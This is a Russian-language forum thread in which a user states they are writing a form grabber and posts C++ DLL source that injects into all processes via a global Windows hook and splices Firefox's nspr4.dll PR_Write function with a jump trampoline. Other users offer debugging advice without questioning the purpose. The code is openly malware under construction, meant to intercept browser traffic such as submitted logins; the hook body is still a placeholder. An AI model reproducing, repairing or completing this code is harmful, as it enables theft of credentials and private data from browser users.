1. Если вы только начинаете программировать на ассемблере и не знаете с чего начать, тогда попробуйте среду разработки ASM Visual IDE
    (c) на правах рекламы
    Скрыть объявление

не срабатывает getmodulehandle из dll-ки

Тема в разделе "WASM.WIN32", создана пользователем realcoder, 17 мар 2012.

  1. realcoder

    realcoder New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2012
    Сообщения:
    4
    пишу формграббер.
    Код (Text):
    1.  #include <windows.h>
    2. #include "module_disasm.h"
    3. #include "ffhook.h"
    4. HINSTANCE hInst=NULL;
    5. HHOOK SH = 0;
    6. HANDLE MutexHandle=(HANDLE)(-1);
    7.  
    8.  
    9.  
    10. long __stdcall MsgProc(int code, unsigned int wParam,long lparam)
    11. {
    12.  
    13. return CallNextHookEx(SH,code,wParam,lparam);
    14. }
    15.  
    16. void __stdcall SetWindowsHook(bool e)
    17. {
    18.     if(e){
    19.      HANDLE M=CreateMutex(0,false,"__API_HOOK");
    20.      if(GetLastError()!=ERROR_ALREADY_EXISTS){
    21.      
    22.      SH=SetWindowsHookEx(WH_GETMESSAGE,MsgProc,hInst,0)  ;
    23.      MutexHandle=M;
    24.      }else
    25.     CloseHandle(M);
    26.     }
    27.     else
    28.     {
    29.     UnhookWindowsHookEx(SH);
    30.     CloseHandle(MutexHandle);
    31.     }
    32. }
    33.  
    34.  
    35. BOOL __stdcall DllMain(HINSTANCE hModule, DWORD dwReason, LPVOID lpReserved)
    36. {
    37.       switch(dwReason)
    38.       {
    39.       case DLL_PROCESS_ATTACH:
    40.                                 hInst=hModule;//инициализируем дескриптор приложения
    41.                                 SetWindowsHook(true);
    42.                                 SetFFHook();
    43.                          
    44.       case DLL_PROCESS_DETACH:  
    45.                                 SetWindowsHook(false);
    46.       }
    47.     return 0;
    48. }
    Код (Text):
    1.  #include <windows.h>
    2. #include "module_disasm.h"//(c) slesh
    3. unsigned char *opcode=NULL;
    4.  
    5.  
    6.  
    7. int PR_WRITE_tramp(
    8.      DWORD *fd,
    9.     void *buf,
    10.     DWORD amount
    11. )
    12. {
    13.     __asm{
    14.         jmp opcode
    15.     }
    16. }
    17.  
    18.  
    19. int PR_WRITE_hook(
    20.      DWORD *fd,
    21.     void *buf,
    22.     DWORD amount
    23. )
    24. {
    25.  
    26.         MessageBox(0,"ok",NULL,0);
    27.      
    28. return PR_WRITE_tramp(fd,buf,amount);
    29. }
    30.  
    31.  
    32.  
    33.  
    34. bool SetFFHook()//хукаем nspr
    35. {
    36. HMODULE hNspr=GetModuleHandleA("nspr4.dll");//полчаем дескриптор dll-ки
    37. if(hNspr==0) return false;//если dll не загружена а значит мы не в том процессе - выходим
    38.  
    39. DWORD dwPAddr=(DWORD)GetProcAddress(hNspr,"PR_Write");
    40. if(dwPAddr<=0) return false;//если не нашли функцию, значит dll левая - выходим
    41. MessageBox(0,"ok",NULL,0);
    42. int buflen=MDAL_GetOpcodesLenByNeedLen((BYTE *)dwPAddr,5);//сколько надо перенести на трамплин чтоб записать 5 байт
    43. unsigned char *op=new unsigned char[buflen];//выделяем память
    44. opcode=new unsigned char[buflen+5];
    45. ReadProcessMemory(INVALID_HANDLE_VALUE,(LPCVOID)dw  PAddr,opcode,buflen,new DWORD);//копируем начало
    46.  
    47. unsigned char jmp=0xE9;
    48. unsigned char nop=0x90;
    49. memcpy(op,(const void *)&jmp,1);//jmp
    50. DWORD offset=(DWORD)&PR_WRITE_hook - dwPAddr - 5;
    51. memcpy( (void *)((DWORD)op+1),(const void *)&offset,4);
    52. WriteProcessMemory(INVALID_HANDLE_VALUE,(LPVOID)dw  PAddr,op,5,new DWORD);
    53.     for (int i=5;i<buflen;++i)
    54.         WriteProcessMemory( INVALID_HANDLE_VALUE,(LPVOID)(dwPAddr+i),&nop,1,new DWORD);
    55.  
    56.  
    57. DWORD tramp_offset=dwPAddr-(DWORD)opcode-5;
    58. if(!VirtualProtect(opcode, buflen+5, PAGE_EXECUTE_READWRITE, new DWORD)) return false;
    59. memcpy((void *)((DWORD)opcode+buflen),(const void *)&jmp,1);//jmp
    60. memcpy( (void *)((DWORD)opcode+buflen+1),(const void *)&tramp_offset,4);
    61.  
    62. return true;
    63. }
    толкьо вот почемуто не срабатывает

    Код (Text):
    1.  HMODULE hNspr=GetModuleHandleA("nspr4.dll");//полчаем дескриптор dll-ки
    и getmodulehandle возвращает 0. если файрфокс уже запущени и в него грузят dll-ку и вместо сплайсинга вызывается показ мессаджбокса, а если он запускается заново то ничего вообще не срабатывает... в чем может быть проблема?
    аналогичный код на дельфе работает на ура, только там механизм установки глобальных хуков немного другой, но это не суть, т.к. dll нормально грузиьться во все процессы...
     
  2. Malfoy

    Malfoy New Member

    Публикаций:
    0
    Регистрация:
    2 янв 2012
    Сообщения:
    698
  3. K10

    K10 New Member

    Публикаций:
    0
    Регистрация:
    3 окт 2008
    Сообщения:
    1.590
    realcoder
    nspr4.dll надеюсь вообще присутствует в процессе?
     
  4. Malfoy

    Malfoy New Member

    Публикаций:
    0
    Регистрация:
    2 янв 2012
    Сообщения:
    698
    K10
    Нет конечно :D
     
  5. realcoder

    realcoder New Member

    Публикаций:
    0
    Регистрация:
    10 фев 2012
    Сообщения:
    4
    должна. если его нет то функция прерывается в итоге только в одном процессе ставиться хук и выводиться мессаджбокс.
    но его ВООбЩЕ не выводиться
     
  6. ziral2088

    ziral2088 New Member

    Публикаций:
    0
    Регистрация:
    16 авг 2009
    Сообщения:
    283
    realcoder
    Попробуй LoadLibrary. Если даёт ошибку, код ошибки в студию.